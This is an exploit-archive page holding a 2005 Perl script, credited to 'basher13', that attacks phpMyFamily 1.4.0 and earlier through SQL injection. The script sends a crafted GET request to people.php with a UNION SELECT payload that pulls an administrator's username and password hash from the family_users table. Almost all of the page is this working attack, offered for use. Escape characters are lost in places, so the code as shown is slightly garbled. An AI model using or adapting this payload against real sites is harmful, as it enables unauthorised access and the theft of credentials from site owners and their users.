[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpMyFamily <= 1.4.0 SQL Injection Exploit
# Published : 2005-03-27
# Author : basher13
# Previous Title : PunBB version <= 1.2.2 Authentication Bypass Exploit
# Next Title : phpBB <= 2.0.12 Change User Rights Authentication Bypass (c code)


#!/usr/bin/perl -w
# phpMyFamily Exploit injection
# ==============================
$banner = "phpMyFamily Exploit injection nn==============================
nnINFGPG-Hacking&Security Research";
# 
# Greats: AresU (1st IndoSec Team),ADZ Security Team (has discovered bugs)
# Info: 98.to/infamous

use IO::Socket;
if ($#ARGV<0){
print "n$banner";
print "nn Usage: perl phpMyFamily.pl [host] [path] nn";
exit;}

$gen="%20UNION%20SELECT%20NULL,password,NULL,username,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20family_users%20%20WH
ERE%20admin='Y'%20LIMIT%201,1"; # This selects first admin with login &
password hash :)

$serius="GET $ARGV[1]/$ARGV[2]/people.php?person=00002'$gen HTTP/1.0rnrn";
$muka=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$ARGV[0]",PeerPort=>"80")
or die "$ARGV[0]Connection Failed !!nn";

$muka -> autoflush(1);
print $muka "$serius";   
print "[*]Sending exploit DONE nn";            
sleep(7);
close($muka);

# www.Syue.com [2005-03-27]